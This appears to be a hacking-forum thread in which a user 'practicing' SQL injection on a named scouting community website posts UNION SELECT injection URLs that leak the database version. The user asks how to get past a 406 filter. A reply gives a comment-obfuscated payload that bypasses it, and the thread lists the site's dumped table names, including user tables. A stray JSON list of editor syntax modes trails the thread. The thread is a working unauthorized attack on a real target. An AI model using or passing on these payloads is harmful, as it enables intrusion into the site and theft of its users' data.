Re: SQLI Please Help [406 Not Ac
I've been practicing SQLI..
I found this one site:
http://www.scouttalk.ie
I know it is injectable because when I get to here
http://www.scouttalk.ie/clan.php?orgID=null UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,version(),18,19,20,21,22--
I get the database name: 5.1.63-cll
However when I go further:
http://www.scouttalk.ie/clan.php?orgID=null UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(table_name),18,19,20,21,22 from information_schema.tables where table_schema=database()--
I get a 406 NOT ACCEPTABLE error.
I know I'm most likely being blocked due to my injection method, I've tried things such as adding comment tags etc, googled around but I'm stuck.
Can someone please help me bypass this so I can get further?
http://www.scouttalk.ie/clan.php?orgID=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(/*!table_name*/),18,19,20,21,22 from information_schema.tables where table_schema=database() --
^^^ above by warb0 --- this would bypass it :D
tables in db:
IPlog
allunitslist
article
articlecomment
badges
clanforum
clannews
countryforum
countrynews
event
eventcomment
game
gamecomment
globalforum
globallibrary
globalnews
journal
journalcomment
listing
listingcomment
messaging
newclan
orders
org
orgcomment
patrolforum
patrolnews
photo
photocomment
poll
pollcomment
radio
radiocomment
ranklist
recommended
regionforum
regionnews
sectionforum
sectionnews
stickit
talkbox
talkboxreplies
temp
tips
unitforum
unitnews
user
useralert
userdesc
userinfo
userstatus
visitor
{"html5":"htmlmixed","css":"css","javascript":"javascript","php":"php","python":"python","ruby":"ruby","lua":"text\/x-lua","bash":"text\/x-sh","go":"go","c":"text\/x-csrc","cpp":"text\/x-c++src","diff":"diff","latex":"stex","sql":"sql","xml":"xml","apl":"apl","asterisk":"asterisk","c_loadrunner":"text\/x-csrc","c_mac":"text\/x-csrc","coffeescript":"text\/x-coffeescript","csharp":"text\/x-csharp","d":"d","ecmascript":"javascript","erlang":"erlang","groovy":"text\/x-groovy","haskell":"text\/x-haskell","haxe":"text\/x-haxe","html4strict":"htmlmixed","java":"text\/x-java","java5":"text\/x-java","jquery":"javascript","mirc":"mirc","mysql":"sql","ocaml":"text\/x-ocaml","pascal":"text\/x-pascal","perl":"perl","perl6":"perl","plsql":"sql","properties":"text\/x-properties","q":"text\/x-q","scala":"scala","scheme":"text\/x-scheme","tcl":"text\/x-tcl","vb":"text\/x-vb","verilog":"text\/x-verilog","yaml":"text\/x-yaml","z80":"text\/x-z80"}